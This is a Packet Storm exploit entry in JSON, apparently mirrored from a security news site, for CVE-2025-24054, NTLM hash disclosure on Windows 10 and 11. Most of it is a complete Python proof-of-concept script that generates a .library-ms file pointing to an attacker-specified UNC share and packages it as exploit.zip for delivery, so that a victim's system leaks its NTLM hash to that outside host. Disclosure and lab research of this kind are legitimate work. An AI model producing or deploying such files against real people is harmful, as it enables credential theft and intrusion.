{“lastseen”:”2026-02-05T20:44:08″,”description”:”Microsoft Windows 10 \/ 11 proof of concept exploit that generates a .library-ms XML file pointing to a network share UNC. When opened\/imported on Windows, the library points to the specified UNC path…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Windows 10 \/ 11 NTLM Hash Disclosure Spoofing”,”source”:””,”references”:””,”id”:”PACKETSTORM:215040″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-24054″],”sourceData”:”# Exploit Title: windows 10\/11 – NTLM Hash Disclosure Spoofing \\n # Date: 2025-10-06\\n # Exploit Author: Beatriz Fresno Naumova\\n # Vendor Homepage: https:\/\/www.microsoft.com\\n # Software Link: N\/A\\n # Version: Not applicable (this is a generic Windows library file behavior)\\n # Tested on: Windows 10 (x64) \/ Windows 11 (x64) (lab environment)\\n # CVE: CVE-2025-24054\\n \\n # Description:\\n # A proof-of-concept that generates a .library-ms XML file pointing to a network\\n # share (UNC). When opened\/imported on Windows, the library points to the specified\\n # UNC path.\\n #\\n # Notes:\\n # – This PoC is provided for responsible disclosure only. Do not test against\\n # live\/production websites or networks without explicit written permission.\\n # – Attach exactly one exploit file per email (this file).\\n # – Include the .library-ms (or ZIP containing it) as an attachment, plus this header block.\\n \\n #!\/usr\/bin\/env python3\\n \\n import argparse\\n import ipaddress\\n import os\\n import re\\n import sys\\n import tempfile\\n import zipfile\\n import shutil\\n from pathlib import Path\\n \\n # Very small hostname check (keeps things simple)\\n _HOSTNAME_RE = re.compile(\\n r\\”^(?:[A-Za-z0-9](?:[A-Za-z0-9\\\\-]{0,61}[A-Za-z0-9])?\\\\.)*[A-Za-z0-9\\\\-]{1,63}$\\”\\n )\\n \\n # simple sanitizer: allow only a limited charset for base filenames\\n _FILENAME_RE = re.compile(r\\”^[A-Za-z0-9._-]{1,128}$\\”)\\n \\n \\n def is_valid_target(value: str) -\\u003e bool:\\n \\”\\”\\”\\n Return True if value looks like an IP address, a hostname, or a UNC path.\\n This is intentionally permissive \u2014 it’s only to catch obvious typos.\\n \\”\\”\\”\\n if value.startswith(\\”\\\\\\\\\\\\\\\\\\”) or value.startswith(\\”\/\/\\”):\\n # Minimal UNC sanity: ensure there’s at least \\\\\\\\host\\\\share (two components)\\n parts = re.split(r\\”[\\\\\\\\\/]+\\”, value.strip(\\”\\\\\\\\\/\\”))\\n return len(parts) \\u003e= 2 and all(parts[:2])\\n try:\\n ipaddress.ip_address(value)\\n return True\\n except ValueError:\\n pass\\n if _HOSTNAME_RE.match(value):\\n return True\\n return False\\n \\n \\n def build_library_xml(target: str) -\\u003e str:\\n \\”\\”\\”\\n Build the XML content for the .library-ms file.\\n If the user supplies a bare host\/IP, the script uses a share called ‘shared’\\n (matching the original behavior).\\n \\”\\”\\”\\n if target.startswith(\\”\\\\\\\\\\\\\\\\\\”) or target.startswith(\\”\/\/\\”):\\n # normalize forward slashes to backslashes (if any)\\n url = target.replace(\\”\/\\”, \\”\\\\\\\\\\”)\\n else:\\n url = f\\”\\\\\\\\\\\\\\\\{target}\\\\\\\\shared\\”\\n # Return a plain, minimal XML structure (no additional payloads)\\n return f\\”\\”\\”\\u003c?xml version=\\”1.0\\” encoding=\\”UTF-8\\”?\\u003e\\n \\u003clibraryDescription xmlns=\\”http:\/\/schemas.microsoft.com\/windows\/2009\/library\\”\\u003e\\n \\u003csearchConnectorDescriptionList\\u003e\\n \\u003csearchConnectorDescription\\u003e\\n \\u003csimpleLocation\\u003e\\n \\u003curl\\u003e{url}\\u003c\/url\\u003e\\n \\u003c\/simpleLocation\\u003e\\n \\u003c\/searchConnectorDescription\\u003e\\n \\u003c\/searchConnectorDescriptionList\\u003e\\n \\u003c\/libraryDescription\\u003e\\n \\”\\”\\”\\n \\n \\n def write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -\\u003e None:\\n \\”\\”\\”\\n Write the XML to a temporary .library-ms file and add it into a zip.\\n \\”\\”\\”\\n tmpdir = Path(tempfile.mkdtemp(prefix=\\”libgen_\\”))\\n try:\\n tmp_lib = tmpdir \/ lib_name\\n tmp_lib.write_text(xml_content, encoding=\\”utf-8\\”)\\n with zipfile.ZipFile(zip_path, mode=\\”w\\”, compression=zipfile.ZIP_DEFLATED) as zf:\\n # place the file at the root of the zip\\n zf.write(tmp_lib, arcname=lib_name)\\n finally:\\n # robust cleanup\\n try:\\n shutil.rmtree(tmpdir)\\n except Exception:\\n pass\\n \\n \\n def sanitize_basename(name: str) -\\u003e str:\\n \\”\\”\\”\\n Ensure the provided base filename is a short safe token (no path separators).\\n Raises ValueError on invalid names.\\n \\”\\”\\”\\n if not name:\\n raise ValueError(\\”Empty filename\\”)\\n if os.path.sep in name or (os.path.altsep and os.path.altsep in name):\\n raise ValueError(\\”Filename must not contain path separators\\”)\\n if not _FILENAME_RE.match(name):\\n raise ValueError(\\n \\”Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen\\”\\n )\\n return name\\n \\n \\n def main():\\n parser = argparse.ArgumentParser(\\n description=\\”Generate a .library-ms inside a zip (keep it responsible).\\”\\n )\\n parser.add_argument(\\n \\”–file\\”,\\n \\”-f\\”,\\n default=None,\\n help=\\”Base filename (without extension). If omitted, interactive prompt is used.\\”,\\n )\\n parser.add_argument(\\n \\”–target\\”,\\n \\”-t\\”,\\n default=None,\\n help=\\”Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\\\\\\\\\\\\\host\\\\\\\\share).\\”,\\n )\\n parser.add_argument(\\n \\”–zip\\”,\\n \\”-z\\”,\\n default=\\”exploit.zip\\”,\\n help=\\”Output zip filename (default: exploit.zip).\\”,\\n )\\n parser.add_argument(\\n \\”–out\\”,\\n \\”-o\\”,\\n default=\\”.\\”,\\n help=\\”Output directory (default: current directory).\\”,\\n )\\n parser.add_argument(\\n \\”–dry-run\\”,\\n action=\\”store_true\\”,\\n help=\\”Print the .library-ms content and exit without creating files.\\”,\\n )\\n parser.add_argument(\\n \\”–force\\”,\\n action=\\”store_true\\”,\\n help=\\”Overwrite output zip if it already exists (use with care).\\”,\\n )\\n args = parser.parse_args()\\n \\n # Interactive fallback if needed\\n if not args.file:\\n try:\\n args.file = input(\\”Enter your file name (base, without extension): \\”).strip()\\n except EOFError:\\n print(\\”No file name provided.\\”, file=sys.stderr)\\n sys.exit(1)\\n if not args.target:\\n try:\\n args.target = input(\\n \\”Enter IP or host (e.g. 192.168.1.162 or \\\\\\\\\\\\\\\\host\\\\\\\\share): \\”\\n ).strip()\\n except EOFError:\\n print(\\”No target provided.\\”, file=sys.stderr)\\n sys.exit(1)\\n \\n # sanitize filename\\n try:\\n safe_base = sanitize_basename(args.file)\\n except ValueError as e:\\n print(f\\”ERROR: invalid file name: {e}\\”, file=sys.stderr)\\n sys.exit(2)\\n \\n if not args.target or not is_valid_target(args.target):\\n print(\\n \\”ERROR: target does not look like a valid IP, hostname, or UNC path.\\”,\\n file=sys.stderr,\\n )\\n sys.exit(2)\\n \\n lib_filename = f\\”{safe_base}.library-ms\\”\\n xml = build_library_xml(args.target)\\n \\n # Dry-run: show the content and exit\\n if args.dry_run:\\n print(\\”=== DRY RUN: .library-ms content ===\\”)\\n print(xml)\\n print(\\”=== END ===\\”)\\n print(f\\”(Would create {lib_filename} inside {args.zip} in {args.out})\\”)\\n return\\n \\n out_dir = Path(args.out).resolve()\\n out_dir.mkdir(parents=True, exist_ok=True)\\n zip_path = out_dir \/ args.zip\\n \\n if zip_path.exists() and not args.force:\\n print(\\n f\\”ERROR: {zip_path} already exists. Use –force to overwrite.\\”,\\n file=sys.stderr,\\n )\\n sys.exit(3)\\n \\n # small reminder about authorization\\n print(\\”Reminder: run tests only against systems you are authorized to test.\\”)\\n write_zip_with_lib(xml, lib_filename, zip_path)\\n print(f\\”Done. Created {zip_path} containing {lib_filename} -\\u003e points to {args.target}\\”)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215040″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215040\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-05T20:44:08″,”description”:”Microsoft Windows 10 \/ 11 proof of concept exploit that generates a .library-ms XML file pointing to a network share UNC. When opened\/imported on Windows,…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-39291","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n